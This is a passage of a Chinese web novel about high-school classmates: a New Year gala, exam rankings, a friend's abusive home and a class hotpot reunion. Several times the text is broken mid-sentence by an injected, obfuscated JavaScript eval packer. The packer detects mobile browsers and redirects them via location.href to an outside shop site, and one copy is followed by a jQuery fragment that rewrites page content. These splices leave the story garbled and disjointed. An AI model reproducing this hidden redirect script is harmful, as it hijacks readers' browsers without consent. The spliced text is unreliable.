祝则溪的笔尖顿了顿,声音轻得像会随时飘散在空中:“画了几年。” “几年?!” 刚打完预备铃的教室本来安安静静的,齐章年这句话像湖水中突然窜出了一条巨龙,同学们都转过头来用诧异和无语的眼神看着他。 看到齐章年手忙脚乱地把书立起来,祝则溪忍不住笑着摇头。 齐章年还是不死心,压低声音继续问,“什么意思,你从初中就认识她了?关注她了?或者是……喜欢上她了?” 齐章年盯着眼前这个让他琢磨不透的人,“兄弟,这你也藏得太好了吧,我跟你从高一就当同桌,都没看出来啊。” “比初中更早。” 祝则溪的话一句比一句炸裂,齐章年的脸上写满了吃到大瓜难以下咽的震惊,同桌在搞暗恋,而自己竟然毫不知情! 排练、上课、排练、周测,这两个月就这么过去了,中间甚至还夹杂了一次阶段性考试。 黄时雨深刻记得当天晚上的情况。 按惯例,作为班长的黄时雨通常会比其他同学更早得知考试成绩,但是这一次由于自己心里也没多少把握,加上排练确实花费了许多时间和精力,所以黄时雨迟迟不敢下定决心去办公室查分。 晚自习的钟声响起,黄时雨掏出英语周报。 这次英语周报的题比较简单,黄时雨边做边盯着办公室的方向,就这样一心二用都做了快一半了。 见老赵一时半会儿还没来,转头用笔轻轻戳吴笙笙的手背。 吴笙笙抬了抬下巴,做题的速度却丝毫没有停下来。 “笙笙,你说这次我要是退步了怎么办……” 黄时雨拉了拉吴笙笙的袖子。 吴笙笙正要安慰她,就看到老赵火急火燎地走进来,于是赶紧在座位上坐好,等待考试结果的宣判。 老赵的手上紧紧攥着考试成绩单,同时也正抓着全班所有同学的心跳。 “这次的阶段性考试,成绩已经出来了”,老赵轻轻弹了一下成绩单,“老规矩,还是从第一名开始给大家念一下。” 黄时雨屏住呼吸,在桌下紧紧拉着吴笙笙的手。 “这一次考试,我们班一共有5个同学进入年级前10,一共有13个同学进入年级前30,有22个同学进入前50。” 黄时雨现在心里很清楚,只要在全班前13名,就不算退步。 “第一名,黎果,总分653,全班第一,年级第一。” 黄时雨和吴笙笙相视一笑,默契地点点头。 教室里霎时间爆发出排山倒海般的掌声。 在黄时雨的印象里,这位“理科战神”几乎从无败绩。 她总是沉默地坐在座位上,平时也不怎么与同学们交流,但在学习的时候总是很能沉下心,被各科老师评为未来搞科研的好苗子。 老赵继续往后念名字,几乎每多念一个名字,黄时雨的心就会往上多提一分。 “第十名……” “第十一名……” “第十二名……” 黄时雨已经连表面功夫都做不下去了,她干脆直接把笔放下,两只手抱在一起紧紧抵住额头。 第十三名再不是自己,黄时雨回家可能就要被藤条伺候了。 “第十三名,黄时雨,总分598,年级第二十九名。” 吴笙笙立刻靠过来搂住黄时雨。 “保持住了,保持住了,保持住了”,黄时雨的嘴里不断重复着这句话,好像不多说几遍这个成绩就会被别人抢走。 有了这次阶段性成绩的幸运加持,黄时雨继续专心投入到新年晚会的排练当中。 每年的新年晚会,学校都会破例允许有意愿的学生家长来学校礼堂观看表演,学生们也可以带上手机,相机,拍立得等设备记录晚会,不需要像平时一样提心吊胆地怕被老师收缴。 这么重要的活动,黄时雨的爸爸妈妈当然不会错过啦。 黄时雨的合唱节目是第一篇章的第四个,舞蹈节目是第三篇章的第一个,为了防止出现在礼堂突然找不到人的情况,黄时雨的舞蹈老师要求她在合唱结束之后只能在两边侧台活动,不能去观众席观看其他表演,并且要提前三个节目回到休息室。 当天下午两点,舞蹈节目的所有演员都聚集在化妆间。 为了这次表演能呈现出最高的水平,负责这次舞蹈编排的老师专门找了专业的化妆团队,一共有四位化妆师给十二位舞蹈演员化妆。 化妆前,老师专门提醒:“黄时雨和这三位同学的脸贴先不要弄,她们还有一个合唱节目,其他同学都可以化全妆,尽量对比度强一些,要大气明媚的妆感。” 专业化妆师就是不一样,手法娴熟且高效,不到四点半,大家的妆容就都完成了。 黄时雨看了一眼手机,差不多还有半小时合唱的同学就要来化妆了。 “大家快过来,我们一起合个影啊!” 女孩子们头挤头,紧紧挨在一起,争着想在镜头里找一个最佳角度。 “这样拍光线不好!” “我刘海是不是乱了?” “我口红是不是没了?” “我不要站这么前面!” 黄时雨举着手机,跟着一行人在房间里兜兜转转了很久,才找到一个大部分人都满意的机位。 “看镜头啊,3、2、1!” 黄时雨连“咔”了好几张才停下。 “所有照片都发群里了啊,大家选一选最喜欢的,然后依次修图吧~” 拍完照,大家又在房间跳了几遍,虽然动作已经熟练到变成了肌肉记忆,但作为正式上场前的热身还是必不可少的。 五点整,参加合唱表演的同学们陆陆续续进入化妆间。 男生一般只需要打底、描眉加涂淡色口红,女生则需要全妆。 黄时雨走过去,把站在门口张望的吴笙笙直接拉进来。压低声音在她耳边说:“笙笙,咱们先不要急着排队,等最后几个再画,这样底妆不容易氧化,上镜更好看~” 吴笙笙没办法,只能任由黄时雨摆布。 “噢还有还有,你待会儿化妆也不要贴脸贴,一会儿合唱结束之后我们再一起回来补,保证把你打扮得漂漂亮亮的!” 黄时雨和吴笙笙坐在镜子前,一边看着平日里素面朝天的同学上妆之后大变身,一边积极讨论新年晚会结束后要发什么朋友圈。 祝则溪从化妆椅上站起来。 可能是刚刚聊天太投入了,黄时雨甚至根本没注意到他是什么时候进来的。 吴笙笙顺着黄时雨的眼神看过去,立刻反应过来,故意拖长声音凑近她的耳朵—— “确实是个帅哥!” 黄时雨恼羞成怒地给了吴笙笙一拳,站起来对着镜子整理了一下刘海。 “好了,各位同学都化好妆了吧,”徐老师推门而入,“可以准备候场了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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黄时雨推开门,里面人满为患,格子间本来就不多,所以不少女生直接在格子间门口换衣服。 黄时雨看到吴笙笙站在最里面的角落里。 “笙笙,这个带子需要我帮你绑吗,”黄时雨拿起搭在吴笙笙背上的两条带子,“是系在脖子上吗?” 吴笙笙正手忙脚乱的,“对对对,系在脖子上。” 黄时雨一边系一边缓解她的紧张,“这个节目是个情景喜剧,加上主持人串词大概有15分钟,完全不用急的,系好啦。” 看到有人从格子间出来,黄时雨眼疾手快地拉上吴笙笙钻进去。 坐在格子间的沙发上,两个人快速换好服装。 “苗苗,你看这个。” 吴笙笙从口袋里拿出一个红色的大波浪卷发,“徐老师非要让我戴,可是我不知道怎么弄。” “戴!你现在立刻去找徐老师让她帮你,我来收拾东西!” 黄时雨急急忙忙把东西装好,又把袋子放到休息室椅子上。 黄时雨之前多次提出想提前看看吴笙笙的演出服装都被拒绝了,理由是跟自己平常的形象差距有点大。所以不仅是观众,就连黄时雨这个死党都是第一次看到吴笙笙的整体造型。 果然,等黄时雨收拾好东西后,站在侧台的吴笙笙已经背上了吉他,徐老师正在帮她整理假发。 “这也太漂亮了吧姐,简直就是女团门面,徐老师你也太会挑了!”黄时雨围着吴笙笙转着圈地欣赏,仿佛是第一天才认识一样,掏出手机就是一顿狂拍,“一会儿表演的时候记得多饭撒,我在侧台给你拍照哦!” 原本是短发的吴笙笙戴了一头红色的长卷发,穿着黑白条纹的针织吊带,毛边阔腿裤和红色板鞋,脖子上有一根挂着星星装饰的项链,斜挎着红色吉他,俨然就是韩国女团的门面担当! 7. 第七次招惹 学霸不愧是学霸,这谁能看出来吴笙笙是第一次在舞台上弹吉他。 大灯全灭,只剩从舞台顶部射出的顶光包裹着这位弹唱爱豆,她的红发在灯光下格外耀眼,随着身体律动上下翻飞,黄时雨选了个侧台的最佳机位,像吴笙笙的站姐一样为她拍照、录视频。 “黄时雨,快去休息室换衣服,我们最后再复习一遍,”黄时雨还没来得及跟刚表演完的吴笙笙碰面,就被小赵姐抓到了休息室。 这个休息室之前是学校的阅卷室,后面新建了礼堂之后,才变成了休息室,所以整体面积比较大,好几个节目的同学都在房间内做上场前最后的准备,也完全不拥挤。 “小赵姐,不是还有好几个节目才到我们吗?”黄时雨被小赵姐催得一头雾水。 在休息室门口,小赵姐才停下来,“第二篇章有一个节目的道具出了问题,要跟我们换演出顺序!” 化妆师们紧急把黄时雨和另外三个女生的脸贴贴好,又快速帮大家补了一下妆。 所有的舞蹈演员正在最后复习动作和走位,就听到工作人员敲了敲门,然后推开门提醒:“舞蹈《思华年》的同学请候场!” 黄时雨感觉这声音莫名有点熟悉。 转头一看,果然,是祝则溪。 他手里攥着节目单,原本淡然的目光在与黄时雨惊讶的视线相遇时,骤然增添了一抹柔和。 或许是察觉到了黄时雨的紧张情绪,祝则溪嘴角扬起一丝温和的笑意,通过嘴型补充了一句“加油”。 黄时雨愣了一下,随即回了一个浅浅的微笑,并重重地点了点头。 祝则溪没有多停留,转身离开了休息室,在后台走廊各处穿梭的脚步,似乎比来时更轻快了些。 “接下来要上场的节目是来自高二年级的舞蹈《思华年》,大家掌声欢迎!” 女孩们穿着白蓝相间的飘逸长裙,裙摆上绣着细密的银线,在舞台上翩然起舞。她们脚步轻盈,时而如蜻蜓点水,时而似蝴蝶翩跹,每一个转身都带着独特的韵味。裙摆飞扬间,露出一截纤细的脚踝,脚踝上系着一串银铃,随着舞步发出清脆的声响。 音乐渐渐急促,女孩们的动作也随之加快,裙摆翻飞如海浪,银铃的声响和鼓点融合在一起,宛如夜空中闪烁的星河。 一曲完毕,女孩们并肩站成一排,向台下观众敬礼致谢。 大幕合上,女孩们簇拥着走下舞台,边往休息室走边复盘刚刚舞台上的呈现效果。 原本倚靠在休息室门框上的祝则溪站直了身子。 黄时雨聊得正欢,完全没注意到祝则溪在跟自己招手。 “黄时雨,这是你的手机吗?”祝则溪轻轻拍了拍黄时雨的肩膀,从口袋里掏出一个手机递到黄时雨面前。 “诶对,怎么在你这里?” “你的手机刚刚放在道具箱上了,我怕丢了,就帮你保管了一会儿”,祝则溪把手机翻了个面,唇齿间露出一声好听的轻笑,“你是猜到了自己会丢手机吗,还在手机壳上特意贴了自己的名字和班级。” 黄时雨这才反应过来,自己给吴笙笙拍完照片之后,手机往旁边箱子上随手一放,就被小赵姐拉去休息室了,好像确实是没拿。 “那是我爸太了解我了,知道我会把手机到处乱放,就提前做好了预防”,黄时雨赶紧接过手机,“太感谢了,回头我请你吃饭吧!” 祝则溪也不推脱,“好。” “……你这件衣服…” ”怎么了,不好看吗?”黄时雨看到祝则溪一直盯着自己的舞蹈服看,赶紧低头检查自己这件衣服有没有什么奇怪的地方。 “不是不是,是特别好看,我刚刚在想怎么找到一个比较合适的形容,”祝则溪连忙摆手,“而且这个舞蹈跟你初二表演的舞蹈完全不是一个类型的,但都跳得很好!” 黄时雨听到都感觉惊讶,“你居然还记得我初二的表演啊,你是……” “黄时雨,你也跳太好了吧!”吴笙笙突然从背后冒出来,打断了黄时雨还没说完的话,开始拉着她展示自己的拍摄作品,“因为我猜你爸爸妈妈肯定录了视频,所以我就拼命给你拍了超级多照片。” 黄时雨被吴笙笙拉着说了好多话,就在走廊上,上上下下的人都看着她俩。 包括目前没有工作,正盯着他俩叽叽喳喳说笑的祝则溪。 “你看这张,我最喜欢这张,真好看”,这张照片里只有黄时雨一个人,右手放于胸前做压腕,左手向外探,右腿抬腿勾脚,“你也太会抓拍了吧,我也很喜欢这张。” 黄时雨开心坏了,要求吴笙笙立刻马上把照片发给她。 “你觉得这张照片好看吗?”祝则溪怎么也没想到,吴笙笙怎么突然问到自己这儿来了。 “好看!”祝则溪回答地干脆利落,不带一丝犹豫。 “那这张呢?” “好看!” “这张呢?” “也好看!” …… “每一张都很好看!” 祝则溪的眼神看起来好真诚,完全不像随口说的,直到其他工作人员把祝则溪叫走,黄时雨才松了一口气,在背后狠狠给了吴笙笙一拳。 黄时雨和吴笙笙去更衣室换回自己的衣服,把借来的衣服和饰品交到指定地点,在后台开启了疯狂自拍模式,最后才溜到观众席。 “俩孩子都表现得很好,我们都录了视频还拍了照,发给你了啊苗苗,你转给笙笙”,台下俩人好像比上台表演的两位还要激动,变着法地夸两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这可是你们的第一张合照哦,你就说吧,抓拍得好不好?” 照片定格的那一刻,参加合唱的每一位同学都站得笔直,嘴角挂着标准微笑。而在这整齐划一的画面中,祝则溪的目光却悄然偏离了方向,他的眼神里没有台下的喧嚣,也没有观众的期待,视线固执地落在黄时雨的身上。 唯有他,看向了她。 这是他的秘密,也是他的心意。 祝则溪把拍立得小心翼翼地放进衣服最里面的口袋里。 ——“我觉得,非常好,谢谢。” 8. 第八次招惹 新年晚会的快乐总是短暂的,随之而来的就是期末考试。 这次期末考试要在全市拉通排名,相当于让高二学子提前适应高三模考。所以没有人不重视这次考试的分数和名次。 “都打起精神来,新年晚会已经结束了,大家必须马上把重心投入到学习上来,留给你们准备期末考试的时间已经不多了……”老赵在新年晚会结束的第二天早自习上课前,立刻发表了这一通“鼓舞人心”的重要讲话。 最后这一个月,不是考试就是评讲试卷,每天晚上黄时雨都要卡着十二点半的时间线才去休息,对面那个男生的学习时间好像也在跟着自己加长,这更坚定了黄时雨认为“他一定是个高中生”的想法。 上课强忍睡意,下课闭目养神成为了大部分同学的校园日常。 “小花园”的梅花开了,伴随着从天而降的小雪花,勾勒出一幅暗香雪景图,每天经过这里的黄时雨和吴笙笙都会忍不住驻留围观,眼睛是世界上最完美的相机这句话还真是诚不欺人。 “叮——” “考试结束,请同学们立即停笔,起身,待监考员收走试卷后再离开。” 黄时雨站起身,在等待监考员收卷的过程中,开始戴手套和围巾。而正好坐在黄时雨斜前方的吴笙笙,也同步开始做一模一样的动作。这还是她俩第一次在考场坐这么近。毕竟,通常情况下,黄时雨和吴笙笙的排名差15名左右才是常态。 最后一堂英语考试结束,就意味着要迎来高二寒假啦! 这种全市统考是不会发试卷的,所以第二天老赵就通知开散学典礼。 “我想,大家都很清楚高二的重要性”,老赵站在讲台上,语重心长地劝告各位同学,“高二是一个分水岭,其中又特别是假期期间。人们常说,‘士别三日,当刮目相看’,更何况是别三十日呢。所以说,这个假期,大家不仅不能放松,还要比学期内更用功,因为这是弯道超车的好机会!” 老赵刚讲完,小陈老师又紧接着走进来。 “还是老规矩,下学期开学一来,我们就进行开学考试。” 言简意赅的几句话,让台下哀嚎一片。 “有什么好啊的,下学期开学考试的成绩,要是有谁跟期末考试的成绩相比有下滑,不好意思,那就请到我办公室坐一坐。” 语文、数学、英语、理综的作业依次发下来,每门课的卷子都是十张打底,原本深绿色的桌面满满地铺上了一层白色的盖毯,估计躺进去应该还蛮暖和的。 黄时雨把各科的卷子整整齐齐分类放好,然后按顺序用订书机订起来。作为一名强迫症患者,一点点折角都会让黄时雨感觉身上好像有蚂蚁在爬。 “班长,借一下订书机。” “我也要用一下。” “班长,我用一下啊。” “……” 黄时雨手一僵,虽然很心疼每次买订书钉的钱,但作为班长还是不得不点点头,把订书机从后往前传给需要的同学。毕竟高中教室里最珍贵的东西就是订书机,每次被借走再还回来的时候,这订书机里就没有存货了。 “吴笙笙,搞快点,放假都不积极”,黄时雨收拾书包那叫一个神速,因为高三学生差不多要一直补课到小年左右,学校可以随便进来,而自己又手握教室钥匙,要真忘记什么东西可以随时来取。 吴笙笙收拾书包的手忽然停下来,提醒黄时雨,“你是不是忘了,我一会儿要回寝室收拾东西,还要打扫寝室卫生啊,今天不能跟你一起走。” 黄时雨一拍脑门,哦对,怎么把这事忘了。 吴笙笙是满城一中的“半走读生”,通俗的说,就是中午在学校睡午觉,晚上回家的那种学生。 “那……那你一个人收拾寝室的东西可以吗,要不我去帮你拿吧。” 吴笙笙摇摇头,吐出两个字“不用”,拒绝得干净又利落。 “好吧,”黄时雨背上书包,把椅子推进去。 “对了苗苗,你今年还参加小年聚会吗,还是咱们三个班一起的,我刚刚听到其他同学在说”,虽然知道黄时雨是个爱热闹的人,没有不去的道理,但吴笙笙还是觉得有必要问一句。 “肯定要去啊,高三都不知道还聚不聚了,聚一次少一次啊”,黄时雨看到打扫卫生的同学过来,马上坐到课桌上,把腿翘起来腾出位置。 “那……你去吗?” 吴笙笙没回答,看起来似乎有点犹豫。 黄时雨很清楚吴笙笙的家庭情况,立刻止住话头。 “没事,你考虑考虑,那我先走啦!”黄时雨拍了拍她的肩膀,然后瞬间冲出教室,没有一点留恋。 走廊上弥漫着一股混合着灰尘和消毒水的气味,阳光透过树叶斜斜地洒进来,映出一片片光斑。扫帚划过地面的沙沙声此起彼伏,偶尔夹杂着几声笑闹和拖把碰撞的清脆声响。 刚走到一班门口,就看到罗亦芃靠在门框上,皱着眉头指着两个正在说笑的男生:“你们俩,别光顾着聊天,赶紧把垃圾拿下去倒了。” “罗亦芃,怎么是你在负责打扫卫生啊,你们班劳动委员呢?” 你这班长也太卷了吧,我都准备走了,黄时雨在心里忍不住吐槽。 罗亦芃揉了揉太阳穴,忙碌中还不忘回答黄时雨的话,“你以为我想啊,劳动委员今天压根儿没来,那不就只有我上了。” 黄时雨上前拍了拍眼前这位可怜人的肩膀,“加油,好好干,但是我先走了~” 黄时雨迈着轻快的步伐,沿着楼梯往下走,时不时侧身给上下楼倒垃圾的同学让路。 ”黄时雨!” 听到有人叫自己的名字,黄时雨立刻停下脚步,只见祝则溪正拿着拖把从一楼卫生间出来,他的羽绒服完全敞开,袖子也挽得很高。 走到黄时雨面前时,在阳光下还能看到额头上细密的汗珠。 “你今天负责拖地啊,那得最后一个走了哦。” “对。” 祝则溪干脆利落地回答了黄时雨的问题,却并没有急着离开。 他的目光从黄时雨的发梢慢慢移动到脚尖,眼神温和,像是要把关于她的全部都深深刻进自己的脑海。 走廊上的同学来来往往,祝则溪的目光和阳光一样让黄时雨的脸有些发烫。 “你搞快一点哦,不然我感觉你们班长一会儿要发火了,”黄时雨忍不住提醒他,“我刚刚下来的时候看到他在凶别人。” 祝则溪立刻收回目光,脸微微泛红,后退一步,会意地点点头,拿着拖把往楼上冲。 但跑了两步又回头冲还站在原地的黄时雨说话。 声音不大,却像溪水一样缓缓流入黄时雨的耳朵,带着独特的清甜。 “下学期见啦!” 少年的声音从耳朵钻进心脏,每次流动,都是一次春心荡漾。 黄时雨在家躺了一天,第二天一早就起来学习了,毕竟还没出期末成绩,万一考得不好,妈妈看到自己认真学习的样子兴许还能放自己一马。 刚打开英语卷子写了两道题,吴笙笙的电话就打了过来。 “苗苗,你等下过来吃饭吗,我要去买菜了。” 黄时雨爸妈越到年底越忙,恰巧自己又不怎么会做饭,高一寒假中午就去吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我等下去叫,他今天整个上午都没出来,有可能会发疯”,吴笙笙很平静地说出这句话,似乎对这种日常见怪不怪。而这句语气平淡得不能再平淡的话,却狠狠击中了黄时雨的内心。 黄时雨从背后抱住了吴笙笙。 “没关系,你先去吃吧”,吴笙笙的情绪从来都是很内敛的,基本不会把自己的负面情绪直接袒露出来。 黄时雨和吴笙笙从初一开始就成了好朋友,要不是去年吴笙笙因为家里没收生活费向黄时雨借过差不多两个星期的饭钱,黄时雨还一直不知道她家里的情况。 “我把饭做好了,你出来趁热吃吧,”吴笙笙敲了敲门。 里面那人跟吃了炸药一样把吴笙笙一顿数落,黄时雨虽然没完全听清,但却真真切切听到了最后一句话—— “我让你滚啊,碍眼的东西,而且我告诉你,你天天学习也没用,因为你是个女的,女的天生就是废物,废物,废物!” “你凭什么……”黄时雨实在受不了了,吴笙笙天天像伺候皇帝一样伺候着他,给他当牛做马,居然还要承受这样的脸色。 她正想对着这个不知好歹的东西一顿输出,被吴笙笙一个摇头的动作制止住了。 吴笙笙什么多余的话也没说,直接转头和黄时雨回到小房间。 “别管他,咱们吃就行”,见黄时雨还在发呆,吴笙笙微笑着敲了一下黄时雨的筷子,“吃完我们出去走走。” 黄时雨默默埋头扒饭,但最后还是忍不住问了一句—— “笙笙,你真的不介意他这样说你吗?” “说实话,介意,”吴笙笙坦荡地承认,“但是他只会逞嘴上功夫,等我高中毕业后,跟他步入不同的社会圈层,自然就听不到他说的这些混账话了。” 9. 第九次招惹 收拾好餐桌和厨房,离开那个令人窒息的家的吴笙笙,总算真正地活了过来。 黄时雨基本不会和吴笙笙谈论她弟弟的事情,她不希望吴笙笙一直活在原生家庭的阴影中,她会有很好的未来,也值得更好的未来。 冬日的暖阳总是格外珍贵,阳光洒在身上,像是被刚弹好的棉被包裹住一样,充满了一种暖融融的、被填满的幸福感。 “笙笙,你要参加小年聚会吗,昨天晚上已经把表发大群里了,”黄时雨和吴笙笙并肩走在江边小路上,今天可是难得的小晴天,小路上甚至有点游人如织的意思。 “去年我就没去,今年的话,我还是挺想去的”,吴笙笙掏出手机,“正好我存了一点钱,应该够用了,那我们一起填表吧。” 吴笙笙打开手机,表格里已经人满为患了。 黄时雨不停地往下滑—— “天呐,今年人真的还蛮多诶,去年我记得总共才五六十个人吧。” “可能去年大家都不熟,今年因为活动,考试什么的都有往来吧,就想着一起聚一聚。” 吴笙笙把俩人的名字填进表格,下意识点击了一下刷新,想看看是否填写成功。突然,祝则溪的名字悄无声息地出现在黄时雨的下方。 “诶你看,祝则溪也填表了,”吴笙笙指着祝则溪的名字,撞了一下黄时雨的肩膀,露出意味深长的笑容。 “你看着我干嘛,他来就来呗,”黄时雨用两根手指强行压下吴笙笙翘起的嘴角,“什么都嗑只会害死你!” 一整个下午,黄时雨和吴笙笙都在江边散步。临近傍晚时,夕阳的光芒撒在水面上,与浮动的水光交相辉映,让黄时雨不由地想起“浮光跃金,静影沉璧”的形容。 越来越临近过年,满城也渐渐染上浓重的年味儿。街道两旁的大红灯笼、小区里随处可见的新年横幅、街头巷尾不时传来的擦炮爆炸声,都在宣告着辞旧迎新。作为一个小县城,每年过年就是街道交通最拥堵的时候,所以购买年货就需要早早提上日程。 俗话说:“大人想挣钱,孩子想过年”,黄时雨为了能美美地参加小年聚会,求着妈妈带她在聚会的前一天,趁着置办年货的间隙,去实体店买了一身漂漂亮亮的衣服。 “笙笙,我现在去你家小区门口,大概五点半到,然后咱们一起过去,”黄时雨穿上昨天新买的漂亮衣服,边换鞋边跟吴笙笙通电话。 “好,那我在小区门口等你。” 黄时雨骑上自行车,五点半准确无误地抵达目的地。 转过弯,就看见吴笙笙在小区门口左右张望。黄时雨一挥手,吴笙笙一点头,这独属于二人之间的秘密链接就成功上线。 “苗苗,如果我没记错的话,这是你的新衣服吧,很好看!”黄时雨刚停好车,吴笙笙就对黄时雨的这套搭配表示高度赞赏。 “诶,你可是很少对我的装扮做出如此高的评价啊,”黄时雨特别喜欢穿彩色,而吴笙笙恰好又是个黑白主义者,两人穿衣风格迥异,能听到吴笙笙这种夸奖实属罕见。 “这是我昨天刚买的,是不是很好看?” 黄时雨转了一圈给吴笙笙全方位欣赏,然后才想起正事:“我把自行车暂时放你楼下啊,一会儿吃完晚饭我再骑回去。” “行,”看到吴笙笙爽快答应,黄时雨挽上她的胳膊,明明人行道那么宽敞,两人却非要一路贴着往餐厅方向走。 “笙笙,估计这两天就要出成绩了,我总有种不好的预感,怎么回事啊?” 吴笙笙轻轻拍了拍黄时雨的手。 “你最担心哪一门?” “可能是数学吧,其实化学也挺担心的。” 吴笙笙沉默了一会儿,“其实我也有点担心化学,我感觉这次卷子还蛮难的。” “是吧是吧,”黄时雨像找到了知音一样疯狂摇晃吴笙笙的胳膊,“所以,就算真的没考好,也不能全怪我!” 刚转过弯,就看到罗亦芃在门口张罗同学。 “今天这么漂亮啊黄时雨,我刚刚都没认出来,”罗亦芃看到黄时雨过来,赶紧三言两语结束了跟其他同学的交谈,迎了上去。 不过,罗亦芃这句话乍一听好像在夸人,但由于他把重音放在了“今天”上,让黄时雨听出了另一层意思。 黄时雨松开挽着吴笙笙的胳膊,一拳捶在了罗亦芃的肩膀上,“会不会说话啊你,我每天都很好看好吗,有什么认不出来的!” 黄时雨印象深刻,初中奥数班老师讲课速度很快,普通话又不标准,那时的罗亦芃刚从外地转学回来,还不太听得懂满城话,黄时雨有时候就会主动在课间休息时给罗亦芃补补课。但他这人好像天生就喜欢“调戏”黄时雨一样,每次都要被黄时雨追着打才会求饶,就像今天这样。 “好好好,仙女姐姐,你别打我好不好,这么多人呢,”罗亦芃今天居然这么快就求饶了,要是放以前,至少还得大战三百回合。 黄时雨得理饶人,挥挥手放了罗亦芃一马,立刻又恢复到今天的优雅人设当中 。 黄时雨和吴笙笙还算来得早,所以径直走到了最里面一桌。 不知道这是不是高中生的特质,说是六点开席,所有人非得等到5:57、5:58才到,十分钟前才来了一半,六点钟一到,人还真就差不多坐满了。 今天一共有十桌,大概有小一百人,虽然包括黄时雨这一桌在内还有个别人没到,但迟到就不等了。 火锅汤底逐渐沸腾,锅边开始不断冒出小气泡,小赵姐坐在靠走廊的位置,站起来把千层肚和肥牛一片一片放下去。 这两道菜熟得很快,原本平静的锅底瞬间出现了无数根筷子,大家都争先恐后地夹起早已经煮好的肉放到蘸料里,裹满蘸酱的肉片在橘黄色的灯光下格外发亮,成为了满城人心目中关于新年的最佳记忆。 没吃几口,小赵姐压低声音,“你们知道吗,前两天八班那几个混子被警察抓了!” 听到此等新鲜事,一桌子所有的脑袋都围了上去。 “为什么啊?” “就天天在学校后门游荡那几个男的?” 小赵姐比了一个“嘘”的动作,确定没有人注意到这边才继续说—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619079|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就是那几个男的,好像是敲诈勒索初中生,咱们学校后门旁边不是有个培训学校嘛,好多去那里上培训班的学生被勒索,家长发现后才报警的。” “啊,那要刑事拘留吗?” 小赵姐思考了一下,摇摇头,“不太懂这些,我只是知道这件事,后续就不太清楚了。” …… 黄时雨继续烫毛肚,同时还无意识地往四周张望,却浑然不知自己这个动作有多明显。 “找谁呢,不会是在找某个帅哥吧,”吴笙笙一眼就注意到了黄时雨的小动作,凑到黄时雨耳边,直接点破她的小心思,“不过他好像还没来,反正我没看到。” “啧,我就随便看看不行吗,谁跟你说我在找帅哥,”黄时雨还是这么嘴硬,主打一个死不承认。 一口充满汁水的毛肚下肚,让许久没吃火锅的黄时雨感到十分满足。 包里好像有震动,黄时雨拿出手机,是妈妈打来的电话。 “喂,妈妈,”火锅店实在太吵了,黄时雨边打电话边往门口走。 “到了吗苗苗,你们开始吃饭了没啊?” “还有人没来,但是大家都开始吃了,就没有等他们了。” “好,那你那边结束了,给妈妈打电话,我来接你吧。” “不用啦,我把自行车停在吴笙笙家楼下了,结束了我就跟笙笙一起走过去,然后骑车回来就行。” “也行,但是如果太晚了还是跟我说哦。” “好!” 临近过年,各种偷窃和犯罪事件也开始增多,两个小女孩晚上走在路上,也确实有些不安全。 两旁的行道树上已经缀满了小彩灯,那些暖黄、绯红、钴蓝色的光点忽明忽暗地呼吸着,灯珠裹着半透明的塑料外壳叠出层层光晕,黄时雨特意挑选了一个能拍出街道纵深感的角度,“咔擦”一声将眼前景象记录下来。 “黄时雨!” 一转头,居然是祝则溪。 他很明显是一路跑过来的,说话时呼出的白气一团一团的,在他黑色大衣的衬托下显得格外明显。 “诶,快进来,有空位都可以坐,”黄时雨其实很想知道祝则溪为什么迟到了,但想到两人的关系还没那么熟,不好随便问,还是不得不暂时忍住。 齐章年眼尖,立刻站起来招呼人,“来这儿,祝则溪!” 黄时雨也把手机装到外套兜里,回到座位上。 “今天火车晚点了?” “对,晚了差不多十分钟,打车过来又有点堵车,所以就迟到了。” 齐章年坐直身子,往黄时雨那一桌瞄了一眼。 “祝则溪,其实我真心建议你去黄时雨她们那桌坐,你看她们那刚好没坐满,”齐章年拍拍祝则溪的肩膀,语重心长地说,“珍惜机会啊。” 祝则溪并没有听从齐章年的建议,而是把他的手轻轻地拿下来,坚定地拒绝:“人家没说愿意我就不要去了。” “不能不愿意吧,黄时雨性格那么外向,肯定不会介意啊。” “可是,外向的人,从来没有提供热情的义务。” 10. 第十次招惹 “况且,这个视角特别好。” 齐章年沿着祝则溪的视线望过去,刚好能看到黄时雨的侧脸,每次当她转头跟吴笙笙说话的时候,甚至能看清黄时雨的表情。 “笙笙,你手机响了,”听到椅子上吴笙笙的包里传来震动声,黄时雨用胳膊轻轻撞了她一下。 手机屏幕上蹦出来的是吴笙笙最厌烦的名字——弟弟。 “怎么了?”吴笙笙冷淡地询问电话那头,声音冰冷地听不出任何感情。 黄时雨听不到对面说了什么,但是从吴笙笙逐渐皱起的眉头来看,黄时雨能明显感觉到可能发生了什么不好的事。 吴笙笙三言两语挂了电话,向一桌人撂下一句“抱歉”后拿起外套就往外走,黄时雨赶紧放下筷子追了出去。 “怎么了笙笙?” “我弟说他发烧了,我要马上回去看看,别等那俩回来说是我害死了他。” 